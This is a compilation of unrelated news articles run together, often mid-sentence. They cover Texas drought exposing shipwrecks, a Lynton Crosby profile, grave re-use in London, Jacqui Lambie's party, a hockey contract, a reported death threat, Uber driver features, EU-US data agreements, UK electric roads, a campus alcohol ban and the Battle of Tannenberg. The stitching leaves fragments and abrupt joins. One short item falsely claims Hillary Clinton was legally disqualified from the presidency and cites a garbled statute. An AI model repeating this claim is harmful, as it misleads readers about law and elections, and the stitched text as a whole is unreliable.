"We've made a promise to each other that he be strong for us and we be strong for him," Dihn said. "We're not going to break that promise."Drought could expose Texas' watery treasures
As many as 300 sunken vessels – ranging from Republic of Texas-era ferries to World War I cargo ships – are thought submerged in the state's rivers and lakes. Archeologists worry that low-water periods may make the watercraft accessible to vandals and looters. less As many as 300 sunken vessels – ranging from Republic of Texas-era ferries to World War I cargo ships – are thought submerged in the state's rivers and lakes. Archeologists worry that low-water periods may... more Photo: Texas Historical Commission Photo: Texas Historical Commission Image 1 of / 1 Caption Close Drought could expose Texas' watery treasures 1 / 1 Back to Gallery
All across Texas, the bones of history lie in watery graves. From the ribs of sunken ships to the grave sites of prehistoric Texans, uncounted treasures abound beneath the surface of rivers and lakes. For state archeologists, these sites are untapped treasures - hard to reach but relatively protected.
Now, though, with the state in the grip of devastating drought, such sites are emerging from receding waters and - for the first time in years, experts worry - becoming vulnerable to looters and vandals.
Since mid-summer, the Texas Historical Commission, which oversees such locations, has, on average, learned of a newly exposed site each month, said Pat Mercado-Allinger, the agency's archeology director.
Among the sites are four cemeteries, including an apparent slave burial ground in northeast Texas' Navarro County. In central Texas, fishermen recovered a human skull thought to be thousands of years old.
An unspecified number of additional sites have emerged from waters overseen by the Lower Colorado River Authority. An agency spokeswoman refused to discuss details, saying that even divulging the number of newly exposed sites could induce the unscrupulous to search out and pilfer them.
Sunken history
East Texas waterways shroud dozens of sunken vessels, from early Texas ferries to steamboats and World War I-era cargo ships. While most of these craft probably remain underwater, state nautical archeologist Amy Borgens said, their appearance above water could occur at any time.
Such sites, most of which were submerged before Texans became appreciative of archeological treasures, can be vital in helping researchers fill the gaps of state history, Mercado-Allinger said.
"In many ways, this is the only way we can learn about these times and the people who came before us," she said. "I would hope that people who might encounter any archeological sites … would consider the damage they might do."
Mercado-Allinger urged those making such discoveries, which are protected under the Texas Antiquities Code, to contact the historical commission's Austin office. Looting or vandalizing such sites can bring penalties of up to 30 days in jail and a $1,000 fine per offense.
Thus far, the historical commission has received no definitive reports of sites being looted or damaged.
Under normal circumstances, such sites would be safely submerged. However, with most of the state in the throes of what the U.S. Drought Monitor calls an "exceptional" drought - the worst category in its five-level rating system - that situation is likely to change.
Water levels of East Texas rivers are well below normal; earlier this year, the Neches was at its lowest point in 90 years.
Borgens said as many as 300 shipwrecks litter Texas rivers and river mouths. Only 13 have been investigated. While many of the vessels likely were stripped of machinery and artifacts before they sank, a few could provide tantalizing clues to an era when commerce moved by water.
"Many of these are significant because their construction was unique or they were built regionally," she said.
They also can shed light on now-vanished communities they served.
Blessing and curse
"You know, it's kind of both an opportunity and a misfortune," Mercado-Allinger said of receding lake and river levels. "It does give us an opportunity to view these resources, but we don't have the (financial) resources to deal with them. The historical commission is working with other partners out there to help accomplish these tasks."
At a very basic level, she said, her agency is trying to facilitate exhumations from submerged graveyards, with reburial of occupants in perpetual care cemeteries.
"It all depends on how much is exposed, where it's exposed and what's happening to it," she said. "It may be that one option is just to let the water to cover them again."
allan.turner@chron.comImage caption Mayor of London Boris Johnson urged David Cameron to hire Lynton Crosby
They call Lynton Crosby the Wizard of Oz - the political magician who has been hired by the Conservatives to mastermind their next election campaign.
Like the wizard, Crosby is a shadowy figure, and some people say he is not all he is cracked up to be - after all, the last time he fought a general election for the Tories, they lost.
But he has had his notable successes, too, both in his home country of Australia, and most recently running a successful re-election campaign for Mayor of London Boris Johnson.
I think he's a very professional political campaigner. He's just interested in making sure that the party he supports wins John Howard, Former Prime Minister of Australia
Lynton Crosby was born 55 years ago on a farm in rural South Australia. His father was not a natural farmer - he was musical and artistic - and soon he moved the family to the nearby town of Kadina, where he set up an arts and crafts shop.
By all accounts, Crosby had a very happy - and quite indulged - childhood.
"Mum and Dad adored him. They did anything for him," says Robyn Hewett - one of his two older sisters.
"At primary school, he loved debating. He was easy-going and friendly and he just used to love putting on plays and performing in the shed to other children. And very academic, I guess you'd say."
Australian success
Nothing was too much when it came to looking after the young Lynton. When he got into Adelaide University to read economics, his parents moved to the city to be near him. And, although they were not particularly political, like most rural folk, they were instinctive supporters of the Liberals - Australia's conservative party.
Image caption Lynton Crosby helped John Howard win four consecutive elections in Australia
Perhaps then it was not too surprising that after a spell working in the private sector, Crosby moved into Liberal politics - and fell in love with it.
He was not much good as a candidate though. As he puts it, he managed to turn a marginal seat into a safe Labour one and later admitted "with hindsight, I wouldn't have voted for me."
His company's website describes him, with a certain amount of pride, I think, as 'a master of the dark arts of politics' Cheryl Kernot, Former Australian senator
Instead Lynton Crosby switched to the backroom, ending up as campaign director for Australia's Liberal Prime Minister John Howard.
"I think he's a very professional political campaigner. He's just interested in making sure that the party he supports wins," Mr Howard told BBC Radio 4's Profile.
"As a party leader of long-time standing, I can only say that's exactly the sort of mentality you want from somebody who is your principal campaign manager."
Crosby managed to win four consecutive elections for John Howard, but critics claimed he used some dubious tactics: so called "dog-whistle" campaigns that appealed to people's basest instincts on crime and immigration - and "wedge" issues, which force the opposition to defend an unpopular policy.
"His company's website describes him, with a certain amount of pride, I think, as a'master of the dark arts of politics,'" says Cheryl Kernot, a former Australian Senator who has been on the receiving end of several of Crosby's campaigns.
"I remember most vividly the 10 years that he was masterminding conservative campaigns here, and the focus on refugees and asylum seekers, and the exploitation of basic instincts of fear of difference, and latent prejudice," Kernot recalls.
"There's nothing grubby about Lynton," counters John Howard.
"He's a tough campaigner. He's no more or less ruthless than any other effective campaigner. And this wedge nonsense [is] the bleating of people who didn't like the Liberal Party winning in Australia."
2005 General Election
However, similar criticisms were levelled at Crosby when he came over to Britain to help Michael Howard's Conservatives in the 2005 campaign.
Image caption Crosby was behind the Conservative's 'are you thinking what we're thinking?' campaign in 2005
Daniel Finkelstein, now a Times columnist, then working for the Tory Party, was the man who first introduced Lynton Crosby to then Conservative leader Michael Howard.
"They immediately hit it off. Both of them are very obsessive about politics... I think Michael appreciated Lynton's ability to pick issues because that's the way that Michael thinks," Finkelstein says.
Crosby certainly brought focus and discipline to the Conservative campaign and he raised morale among party workers by awarding prizes every day for the best press release.
The one thing that I think would be a mistake is to think of Lynton Crosby as a sort of crude, ball-busting Australian outsider Daniel Finkelstein, The Times
But slogans like: "How would you feel if a bloke on early release attacked your daughter?" were blamed for giving the Tories the reputation of the "nasty party". Conservative ads also had dog-whistle messages like "are you thinking what we're thinking?"
However, Crosby's fans - and there are plenty of them - claim that while his ads may be brutal, the man is far from uncivilised.
"The one thing that I think would be a mistake is to think of Lynton Crosby as a sort of crude, ball-busting Australian outsider. He is not an intellectually unsophisticated, crude campaigning person at all. He's a pretty clever guy," says Daniel Finkelstein.
When the Conservatives lost the 2005 election, Crosby said he had come in too late: "You can't fatten a pig on market day," he said - but he left enough admirers here in Britain for Boris Johnson to recall him for the 2008 London mayoral campaign.
London is naturally a Labour city, so it took some political acumen to persuade voters to elect a Tory mayor two terms in a row.
Crosby imposed discipline on Johnson, demanding that he take himself more seriously, and concentrate not just on his pet projects, but on issues that voters actually cared about - and he did not shy from telling truth to power.
"I remember once, it was the end of a very long day, I was absolutely exhausted and I had to give a speech to a bunch of Conservative councillors - this was the 2007/2008 campaign," recalls Boris Johnson.
"I was at the end of my tether - barely knew what I was talking about and I thought I'd done more or less a good job with these guys and got through it in one piece.
"I tottered out of the room and my phone buzzed with a text. It said 'crap speech, mate' - and that was very much his approach to candidate management."
Cameron's next campaign
Lynton Crosby is known for his earthy language, but his candid approach worked on Boris Johnson.
But Ken Livingstone - Boris Johnson's Labour opponent in both 2008 and 2012 - still feels sore about what he says was the negative personal campaigning Crosby masterminded against him.
"There was almost never a time when Boris was launching some great new idea or anything else like that. It was just a pretty unremitting series of personal attacks and negative campaigning," says Livingston.
It certainly worked, though. When Boris Johnson won again in London earlier this year, he told David Cameron that Crosby was just the man to help the Tories fight the next general election campaign and that he should "break the piggy bank" to hire him.
Although the recent appointment was not met with universal acclaim. Tory modernisers fear that Crosby will pander to the core vote, using issues like immigration and crime.
Daniel Finkelstein, himself a moderniser, thinks this is too simplistic a reading:
"I don't think he'll take the party away from the strategy the leader of the party wants to follow, providing David Cameron is clear enough about what that is. I think he will turn that into a disciplined strategy."
Labour and the Liberal Democrats will now be studying Crosby's techniques and working out their own defence against his dark arts.
"I had no doubt from the moment I lost to Boris this time round that Lynton Crosby would be brought in to run Cameron's re-election campaign," says Ken Livingstone.
"For Crosby to have been able to deliver a Tory victory in London when they were losing everything everywhere else is an endorsement, effectively.
"And I remember saying to Ed Miliband throughout our campaign, 'you know, really follow this one closely, because this is what you will be up against'."
Listen again to Radio 4's Profile of Lynton Crosby via the Radio 4 website or Profile podcast.Running a business is round the clock job! It is overwhelming & time-consuming, thus managing your time is critical. Being a businessperson, you must focus on retaining your clients, promoting the services & increasing your profit. Non-arguably, a website is one of the crucial aspects of establishing a business; it helps you promote your services & to expand your business in the potential market. Whereas running a site is a task in itself, selecting a perfect platform does not have to be, credits to WordPress Business Themes. These themes are developed with almost all niches in mind & perfectly displays your business, services, location & other things you would like to include. Among other features, layout flexibility is an advantage so you can pursue any design for your business & to promote your business as a brand. The following are the most recommended choices for you to look at:
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As always, here are some insights from the designers:
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Repsch, a local resident. “My grandmother is buried in a common grave in Camberwell New Cemetery. Southwark councillors are acting like grave robbers. This is theft – of my grandmother’s grave, of our family history, of the respect and dignity I want my grandmother to have in death.” Southwark councillors said the wishes of all families would be fully respected and accuse the protesters of “scaremongering”.
Rugg said most people who do not like the idea of grave re-use imagine a recent dead body, which they see as “nearly alive”, being moved. But she said people are usually much more accepting of the moving of fragmentary remains: “Often those [old] graves are empty. We need to think about where is the harm against what is the good.”
The Southwark campaigners also oppose turning some woodland into a new cemetery. But Morris said: “If Southwark were to re-use graves, the woods would remain. You can’t have it both ways. If any of those protesters have objections [to a grave re-use] they just have to register that objection and it won’t go ahead.”
Justice minister Caroline Dinenage said: “The re-use of burial space is a sensitive issue and any potential changes in this area, including any legislation, would require careful consideration. We have been actively engaging with stakeholders and will consider whether there is a need for government to take action in due course.”
Rugg is unconvinced: “I am not expecting anything spectacular.”
Progress on solving the grave space crisis is likely to take time, based on past form. The problem has been building for over 150 years, since the Burial Act of 1857 banned the exhumation of bodies to allow grave re-use. As cities became crowded after the industrial revolution, churchyards overflowed and, although re-use had been common, the public were horrified as recent burials were dug up. Re-use remains legal under church law but many churchyard burial grounds are now closed.
Back at the City of London cemetery, Burks, who first came to live in the cemetery at the age of six when his father became a gardener there in 1971, is sanguine about his own funeral arrangements: “I think there will be space for me here, but that will be for my daughter to decide.”Jacqui Lambie Network: Tasmanian senator registers new political party
Updated
Tasmanian senator Jacqui Lambie has applied to register a political party called the Jacqui Lambie Network with notices of her application to register the party appearing in Tasmanian newspapers this morning.
Burnie-based Senator Lambie split from the Palmer United Party last November.
The AEC has run ads about the party registration in Tasmanian newspapers and people have until the end of next month to lodge objections.
The advertisement lists the "proposed registered officer" as Jacquiline Lambie and the abbreviated party name as JLN.
Senator Lambie said JLN would start by focusing on recruiting candidates to run for Senate spots, but would field candidates for both federal and state elections.
She said she wanted to establish her own political party to give "ordinary Australians" a chance to enter politics.
"First and foremost I want these people to be able to put their state first. I don't want people dictating to them on how they should vote... and I want them to be able to make sure that their state always comes first and their country right next to that," she said.
"That's why it's called a network, it's not called a group or a party. I want people to keep their individuality. I want them to do the best possible job that they can.
It's a matter of marketing and selling and obviously I've become a brand name in itself. Jacqui Lambie, Tasmanian Independent Senator
"Running around as an independent costs a lot of money. It doesn't matter how hard you try, when it comes to taking on the major parties, money-wise, you can't compete with them."
Senator Lambie said she wanted to make the most of her high profile.
"It's a matter of marketing and selling and obviously I've become a brand name in itself."
"Clive's (Palmer) very much into micromanaging and it spells disaster and (if you are) going to pick people up willy-nilly, you've got to have people who are interested and have their heart in it."
Jacqui Lambie Network: Will focus on Senate seats initially
Claims many are interested in running
Candidates will put local issues above party loyalty
Veterans and serving members of ADF will be of "special interest"
Will oppose formal or informal imposition of Sharia Law
Will introduce financial transaction tax
Will call for establishment of national apprenticeship scheme
Senator Lambie does not have to prove to the Australian Electoral Commission that her party has 500 members because she is already a member of Parliament.
Phil Diak from the AEC said the process for setting up a party is different for members of Parliament compared with a grassroots movement.
"By law members and senators who are sitting in the parliament do not need to have 500 electors on the electoral roll to accompany their initial application," he said.
ADF veterans and serving members of'special interest'
Senator Lambie said the Jacqui Lambie Network's first and key platform would be that candidates who were elected put their electorates above party loyalty when voting and making decisions.
She said another key policy would be to oppose the formal or informal introduction of Sharia law in Australia and required undivided loyalty to the Australian Constitution.
The party would also call for the establishment of a national apprentice, trade and traineeship system, with the aim of increasing recruitment for the defence force.
It would also favour the introduction of a financial transactions tax.
Senator Lambie's chief of staff, Rob Messenger, said she had already been approached by several people who were interested in running as candidates for the party in other states, and many people had indicated their desire to join a political party formed by her.
Bad news for major parties, Wilkie says
Denison independent MP Andrew Wilkie said the establishment of JLN could be bad news for the major parties.
"Although the majority of Tasmanians would not share Jacqui Lambie's views, the minority that do is more than enough to win a senate seat in Tasmania at the next election," he said.
"Jacqui Lambie is a big figure with a big following in her own right but it's a complete unknown about whether or not that brand is transferable to anyone else.
Sorry, this video has expired Video: Lambie to launch new party (7pm TV News TAS)
"The challenge for Jacqui Lambie is to make this a democratic and inclusive party that represents its members. She will fail if it just becomes an extension of her through other candidates parroting her views."
ABC election analyst Antony Green said the possibility of her getting another Senate candidate elected in Tasmania at the next federal election could not be discounted.
"Jacqui Lambie was elected not because she was Jacqui Lambie but because she was the Palmer United candidate and I presume it is possible that someone could get elected because they've got Jacqui Lambie's name attached to them," he said.
"She's probably got as much chance as candidates did for Palmer United Party.
"The name of the party will attract votes but whether they get elected or not - I suspect not. They've actually got to have a bit of a profile for themselves as candidates who are known."
The party's constitution lists Senator Lambie and Mr Messenger's spouse Fern Messenger as the only members of its initial management committee.
"It was just easier to use those two names because someone's name has got to be there," Senator Lambie said.
Topics: government-and-politics, political-parties, australia, tas
First postedThe FBI reopened the case of Hillary Clinton in a stunning turn of events just days before the presidential election. Information that was also confirmed by Jason Chaffetz! Well, this news as surprising as it might sound is the worst news in Hillary’s campaign for one simple reason under U.S. Code laws Hillary is officially disqualified. To be precise U.S. Code Title 18, Part 1 Chapter 2071 as you can view bellow!
Will Hillary break the law again and keep her security clearance we have to wait and see, but if there is any law in our country she would be disqualified to run for president!
Comey did suggest another remedy: the loss of her security clearance.
If she were anyone else, Comey said in a televised press statement, the facts uncovered in the FBI’s investigation might cost Clinton her security clearance — if not her job.
You can view the full article about Hillary’s security clearance in a link below! And if you like more articles like this feel free to like us on Facebook by following this linkWASHINGTON - Thomas Vanek knows how it looks, turning down a seven-year contract believed to be around $50 million from the Islanders.
"I'm sure people will look at it and say, 'Wow, that's crazy by him,' or whatever," Vanek told Newsday Tuesday morning, a day after news broke that he had indeed rejected such a deal and will now almost certainly be traded before the March 5 deadline.
But it's not about the Islanders, he said.
"As I've told [general manager] Garth [Snow] before... It's like a breakup: It's not you, it's me. And it really is me wanting to explore this."
Vanek knows that his decision to head to July 1 free agency means the Islanders, a team that has been the punchline to plenty of hockey jokes over the past two decades, will get the short end once again. Big-time player says "no thanks" to struggling team, and so on.
For whatever it is worth, he said Tuesday his decision is not about money -- seven years, eight years, $50 million or $60 million.
"It's just me being a little selfish, I guess, and wanting to get to July 1 and seeing what's out there," he said. "It has nothing to do with this team and where we are in the standings. I think this team has a tremendous upside. Is it the right move? I don't know. But it's something me and my family want to explore one time and see how it goes."
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There could conceivably be some awkward moments over the next three games before the NHL's Olympic break and however long trade talks take in the 10 days after the break, leading up to the deadline. Vanek will head to Sochi on Sunday to captain Austria's first Olympic hockey appearance since 2002
But Vanek's Islanders teammates understand, as do almost all pro athletes, that a player's contract and livelihood aren't topics for debate.
"Vanny's been great since he's been here, he's really enjoyed his time here," captain John Tavares said. "Like many guys that come here, I think he's been really surprised at what it's all about, what the Islanders are all about. Whatever his decision is, we respect him, and he's got a lot of respect for the guys in here. We still play hard and we still try to reach the goals we set out at the start of the year."
Those goals are further off than Snow, Tavares and Vanek would have hoped when Snow dealt Matt Moulson, a conditional 2014 first-round pick and a 2015 second-rounder to the Sabres for Vanek on Oct. 27, when the team was 4-4-3. They went just 5-15-4 over the next seven weeks, sending them to the Metro Division basement. Even after a decent January, the Islanders still sit there, nine points back of the Capitals, last night's opponent, and 12 points out of a playoff spot with 25 games to go.
So Vanek understands what his decision to turn down the contract means: The team needs to recoup some of the lost assets from the trade, even if Vanek still holds the Islanders in high regard when the courting begins officially July 1.
"Even if I would like to avoid it, you can't, so you do think about it," Vanek said of a possible trade. "But I hope we put three wins together here [before the break], get closer to where we need to be and after that, there's not much I can say, anyway. I can go anywhere. There's no reason for me to sit and speculate on what's going to happen, because I don't know what's going to happen."
What the Islanders gave up
On Oct. 27, with the Islanders off to a 4-4-3 start and GM Garth Snow looking to shake up the team, the Islanders traded three-time 30-goal scorer Matt Moulson, a conditional 2014 first-round pick and a 2015 second-round pick to the Sabres for Vanek. Both Moulson and Vanek are unrestricted free agents after this season. (If it is a top 10 pick in the June 2014 draft, the Islanders can hold onto it and trade their 2015 first-round pick instead.)
What the Islanders offered
After playing alongside John Tavares and Kyle Okposo for three months, Vanek was offered a seven-year deal believed to be worth $50 million -- the same contract Vanek currently has. Vanek turned it down, determined to become an unrestricted free agent on July 1.
What happens now?
Snow will almost certainly trade Vanek by the March 5 deadline. Complicating matters is the Feb. 7-23 Olympic roster freeze. Snow can talk deals with fellow GMs during the freeze, but nothing can happen for those 16 days.
Who's interested?
The Blues held talks with Buffalo before Vanek went to the Islanders and presumably would be interested. The Kings are one of the top defensive teams in the league but have the second fewest goals in the West. The Wings and Penguins could be looking for an elite scorer to add to an already impressive group of forwards.Vile death threats were made against a Jewish gym owner in Melbourne, Australia after he slammed terrorist attacks performed by Islamic militants against Christians.
Avi Yemini, a former sharpshooter for the Israeli Defence Forces, posted a video to Facebook on Saturday where he took on the terrorist groups wreaking havoc on Christians in Egypt and the Philippines. He added that Ramadan is fast becoming “the month of Jihad”, according to the MailOnline.
In response, he was sent a Facebook message by a man from the Sydney suburb of Parramatta who said he was ready to meet Yemeni and fight him over his beliefs. See the exchange below:
“Do you think your [sic] a mad c***. Talking about Islam like that,” the message began.
“Let’s meet up and have a chat about Islam. U [sic] think your [sic] some tuff [sic] guy aye well [we] will see how tough you are.
“I promise u [sic] I’m gana [sic] see you round and when I do I’m gana [sic] make sure you drown in your own blood your [sic] Jewish scum”.
Yemini teaches the IDF martial art, Krav Maga, at his gym and has made a name for himself as a staunchly pro-Israel advocate. He told the Mail the message proved a point he has long making against the actions of radical Islamic terrorist.
“He’s clearly not too happy, but he’s kind of proved my point,” he said. “You can scream and shout that you’re part of a religion of peace, but in the same sentence you threaten you’re going to murder someone.
“For any religious man to sit behind a computer and think it’s okay to talk about murdering someone else, it’s mind boggling.”
Yemini said that he forwarded the threatening message to Victoria state police, but holds little hope for a resolution on the matter. This follows the response to a similar threatening phone call in March he passed that met with no response from authorities.
“I’ve forwarded it all through to the police,” he said, adding “I just hope [the people threatening me] don’t shoot me in the meantime.”Being an Uber driver can be a pain in the ass. Just ask, well, any of them. They'll start out by saying, "Sure, I love the flexibility," but then pepper you with a long list of complaints. Some want to get paid more. Others want employee benefits and the right to unionize. Uber, in its ever-present quest to placate drivers without bending on too many of their demands, is rolling out a slew of new features designed to take some of the edge off of driving.
On the surface, many of these features are sure to make a lot of drivers happy: more control over their ride requests, fines for riders who make drivers wait too long, and even discounts on Uber rides. But the app updates are unlikely to stem the stream of class action lawsuits against Uber, especially after Uber said it would settle one lawsuit in California for $100 million. (A group representing taxi workers in New York City just filed one last week.)
many of these features are sure to make a lot of drivers happy
Uber says the new features are more about trying to remove some of the pain points of driving on its platform, and less about responding to ongoing litigation. Many of the updates to the driver-facing app were piloted in various markets and are now being rolled out in more cities and in a broader fashion.
Starting today, Uber is expanding its "Destinations" feature that enables drivers to pick up and drop off riders along a specific route. Drivers heading in a specific direction can input their destination into the app, and Uber's algorithm will send them ride requests that appear along the way. Requests that would force them to deviate from their route would be filtered out. When Uber first announced that it would be testing this feature in San Francisco, we posted that it could be seen as the one feature that eventually turns everyone into an Uber driver.
Uber also will allow drivers to pause any incoming requests while they are currently in the middle of a fare, in case they need to go to the bathroom or fill up on gas before accepting the next passenger, or simply plan on signing off the platform and calling it a day. This will allow drivers to decline the next request without negatively affecting their rating.
Reports surfaced last April that Uber had begun allowing drivers in New York City, New Jersey, Phoenix, and Dallas to charge riders who made them wait longer than two minutes. Today, riders in a dozen other cities — and more on the way — will incur a fee if they take too long getting into the car. "In the cities where we’ve been testing this, we’ve seen that riders are more likely to be prompt," Uber says.
Uber is also offering more ways for drivers to better manage their finances. The company will be offering its branded debit cards (in partnership with GoBank) to drivers in more cities, which allow them to receive their earnings instantaneously. And the company says it currently has opened 250 "Greenlight" locations around the world, where drivers can get in-person support and questions answered, and plans on opening even more in the near future.
Lastly, the company says it will offer discounted rides to drivers who may occasionally want to sit in the backseat of an Uber car rather than the front. Drivers who complete 10 trips in a week will get 15-percent off their next uberX ride, or 50-percent off an UberBLACK ride for every 20 trips done in a week.
Uber is starting a new blog titled "Behind the Wheel" to showcase drivers' stories, as well as news about "products and perks." Of course, for those seeking a more unfiltered (and unflattering) view on Uber by its drivers, there are a variety of Facebook pages and message boards to visit.
Of course, all of these improvements for drivers could be seen as merely temporary, considering Uber is developing technology to enable self-driving cars. In other words, Uber wants its drivers to be as happy as possible before it makes them obsolete.
Ordering Ubers with an Amazon EchoData protection agreements are an important part of EU-US relations, and the Privacy Shield pact and Umbrella Agreement will continue under Donald Trump’s administration, EU Justice Commissioner Věra Jourová told EURACTIV Czech Republic.
Despite questions remaining on how Donald Trump will approach the European Union, Justice Commissioner Jourová is confident that his administration will not backtrack on crucial data protection agreements.
“I have been assured by insiders that President Trump and his administration do understand the importance of trade relations between the United States and the European Union,” Jourová told EURACTIV.cz.
“A significant part of the EU-US trade exchange depends also on personal data transfers. Therefore, I believe that the Privacy Shield should go on and that it is also in the interest of the American side,” the Commissioner said.
EU-US Privacy Shield pact faces second legal challenge A new EU-US pact governing the transfer of personal data faces a second legal challenge, putting the details of the deal which underpins billions of dollars of transatlantic trade in digital services under further scrutiny.
According to Jourová, who was responsible for negotiations on the new framework for transatlantic exchange of personal data for commercial purposes, the Privacy Shield agreement is an important element of strategic cooperation between Europe and the United States.
Jourová said that Trump’s approach towards the EU still remained unclear. Nevertheless, she plans to visit Washington as soon as possible. The Commissioner would like to meet Jeff Sessions, who is supposed to become the new Attorney General, and Wilbur Ross, who is expected to be Trump’s Commerce Secretary.
Yahoo! under the microscope
The Privacy Shield pact was brokered In July last year and replaced the old Safe Harbour agreement which was declared invalid by the European Court of Justice in 2015.
The new framework allows companies to transfer personal data to the US on the condition that they guarantee it is protected to privacy standards on par with EU laws.
“At the moment, 1,100 companies have already joined the system and about 700 others are going through an authorisation process,” Jourová said.
Potential complaints, submitted by Europeans whose personal data would be abused by American law-enforcement agencies, should be handled by an ombudsperson independent from the US intelligence services.
According to the Czech Commissioner, the authority has not received any relevant complaint yet. But she said her team was concerned with the recent information that Yahoo! secretly monitored emails at the request of American secret services. The Commissioner said this could be a case for the US Ombudsman.
European Commission paralysed over data flows in TiSA trade deal European Commission officials have struck a deal that could put a clause guaranteeing international data flows into a trade agreement with 22 countries outside the bloc, including the United States and Australia.
Umbrella Agreement
Jourová also wants to talk to the new American administration about another data protection agreement negotiated between the EU and the US – the so-called Umbrella Agreement.
It should cover personal data exchanged between police and criminal justice authorities of the EU member states and the US federal authorities for the purposes of prevention, investigation, detection and prosecution of criminal offences.
Under the agreement, Europeans should be protected in American courts in cases where federal authorities misuse their personal data.
“At the moment, I am waiting for the American side to confirm that the new regime will cover all agencies and authorities working with such data. There are more than one hundred of them,” Jourová told EURACTIV.If you’ve got an electric car in the United States, the distance between charging stations could make a long road trip fraught with anxiety. But what if the highway you’re riding on recharged your car as your drove it, no stops required?
The U.K., through a group called Highways England, is about to begin trials on electric highways which will see inductive charging equipment fitted underneath roads. When electric cars drive on them, their batteries would be juiced up as they drove by wireless technology running under the asphalt.
lin weiming via Shutterstock
Transport Minister Andrew Jones says the U.K. government is committing around $780 million over the next five years to develop rechargeable low-emission vehicles, aiming to “keep Britain at the forefront of this technology.” As part of this overall initiative, the off-road trials will start later this year, and last for 18 months, while the government figures out the cost and feasibility of bringing it to the nation’s highways.
So it’ll be a while before Brits can drive their Teslas indefinitely down the M25 without stopping for “gas.” But the U.K. is not the first country to look into smart highways. A similar project in the Netherlands imagined a Smart Highway that could charge electric cars as they drove. This is clearly a path more than one country is considering pursuing.
//NETHERLANDS SMART HIGHWAY PROJECT Studio Roosegaarde
From a civic standpoint, it makes sense. Not only are electric vehicles more environmentally friendly than traditional combustion engines, but they cost less money over time to actually keep on the road. An electric highway would presumably come with some sort of toll, allowing cars to slurp up the government’s electricity as they drove; this, in turn, would help the government bring in more revenues. The toll booth of the future might not be all that different from pulling into a gas station today.
The U.K.’s flirtation with electric highways is part of a $17 billion, five-year plan undertaken to transform England’s existing “brutal, crass, and ugly” ecosystem into something “beautiful and award-winning,” according to transport minister John Hayes. “We want roads to be based upon principles of good design, he said. “From maintaining the right proportions in construction to use of street lighting, signage and other roads ‘furniture’ and from delivering better air quality and biodiversity.”
lin weiming via Shutterstock
Wouldn’t it be nice if America, which has been letting its own infrastructure crumble for decades, tried something similar?St. Thomas University has imposed an indefinite alcohol ban at one of its student residences, following a recent string of vandalism incidents officials believe were fuelled by alcohol.
The ban at Harrington Hall, a co-ed residence with about 180 students, will remain in effect for at least the rest of the calendar year, said Dean of Students Larry Batt.
"We needed to make a strong statement to the residence community that the behaviours had to change, the incidents had to be reduced to nothing, not, 'OK, it's OK to have a few extinguishers discharged', just not doing those kinds of things," he said.
Brady Hanson, said he waited 19 years to drink and be able to buy alcohol and says the ban is far-fetched. (CBC) There have been several recent incidents involving safety and property damage, including fire extinguishers being discharged indoors and broken glass littering the floors of common washrooms, said Batt. He believes they were all triggered by alcohol.
There is only one week of classes remaining before exams.
University administration officials expect to meet with residence leaders in January to discuss coming up with other ways to avoid trouble and possibly lifting the ban.
Some of the Harrington Hall residents CBC spoke to don't think the ban will work. They said there was a big party at the residence Sunday night, after the ban was announced.
The students contend the ban is unfair and impinges on their rights if they're 19 years old and legally able to buy alcohol.
"I turned 19, so I think that's a privilege," said Brady Hanson. "I waited my 19 years, I think I should be able to drink. I'm not allowed to possess it or use it on residence. I think that's a little far-fetched."
"It's only a few people that have been contributing to the mess, I lived here last year and TVs were smashed, people's waste put in microwaves, terrible things happened last year," said student Ryan Walters. "But [this year] they didn't really go to that extreme. I don't really see how it's going to help anything."
"Last night was the start of the alcohol ban, everyone just got wasted," Walters added.
Ryan Walters said a lot of students drank anyway on the first night of the ban. (CBC) "It kind of ruined my first year to be honest," said Jordan Upshaw. "I don't even drink, but just to be told 'You can't do this, you can't do that.'"
The university has been struggling with campus behaviour since a student died off campus last year after a dorm party.
Andrew Bartlett, 21, died from an accidental fall in October after attending a volleyball team hazing party that involved alcohol. A police report found he fell down some stairs at his apartment building and hit his head.
That led to a new code of student conduct that covers all behaviour on and off-campus and contains penalties for drunken and disorderly behaviour, ranging from a reprimand to being expelled.
The university also has a campus-wide policy banning alcohol during Frosh Week.Battle of Tannenberg
Allied with France and Britain, Grand Duke Nicholas, the Russian commander, agreed to help relieve the French, under attack from Germany, with an offensive in East Prussia. This required mobility and nimbleness; unfortunately the Russians had neither.
Two Russian armies invaded German East Prussia in August 1914. Rennenkampf's First Army was to converge with the Samsonov's Second Army to give a two-to-one numerical superiority over the German 8th Army, which they would attack from the east and south respectively, some 80km (50 miles) apart.
The plan began well at Gumbinnen on 20 August, when Rennenkampf's First Army defeated eight divisions of the German 8th Army on its eastern front. By this time Samsonov's forces had crossed the southern frontier of East Prussia to threaten the German rear, defended by only three divisions.
Faced with imminent attack, Prittwitz, commander of the 8th Army, approved Lieutenant Colonel Hoffman's idea to attack Samsonov's left flank, aided by another three divisions moved by rail from the Gumbinnen front. However, on 23 August Prittwitz was replaced by General von Hindenburg whose chief of staff, Ludendorff, immediately confirmed Hoffmann's plan to strike at Samsonov's left flank.
The Germans then got lucky when they intercepted an uncoded Russian message indicating that Rennenkampf was in no hurry to advance. Developing Hoffman's original plan, Ludendorff concentrated six divisions against Samsonov's left flank and took a calculated risk to withdraw the rest of the German troops from Gumbinnen and move them to face Samsonov's right flank, leaving only a cavalry screen against Rennenkampf. This move was helped by the lack of communication between the two Russian commanders, who disliked each other.
Samsonov's forces were spread out along a 60 mile front and advancing gradually against the Germans when, on 26 August, Ludendorff ordered an attack on Samsonov's left wing near Usdau. There, German artillery forced a Russian retreat, whereupon they were pursued toward Neidenburg, in the rear of the Russian centre.
A Russian counter-attack from Soldau enabled two Russian army corps to escape south east before the German pursuit continued. By nightfall on 29 August the Russian centre, amounting to three army corps, was surrounded by Germans and stuck in a forest with no means of escape. The Russians disintegrated and were taken prisoner by the thousands. Faced with total defeat, Samsonov shot himself. By the end of the month, the Germans had taken 92,000 prisoners and annihilated half of the Russian 2nd Army. Rennenkampf's army had not moved at all during this battle, vindicating Ludendorff's calculated risk.
After being reinforced, the Germans turned on Rennenkampf's slowly advancing Army, attacking it in the first half of September and driving it from East Prussia. It was a crushing defeat for the Russians. In total, they lost around 250,000 men - an entire army - as well as vast amounts of military equipment. The wafer-thin silver lining was that the Russian action had diverted the Germans from their attack on France and allowed the French to counter-attack at the Marne.Environmental Protection Agency (EPA) officials are moving ahead with a key part of the Clean Power Plan (CPP) despite the Supreme Court issuing a stay against the agency’s global warming plan in February.
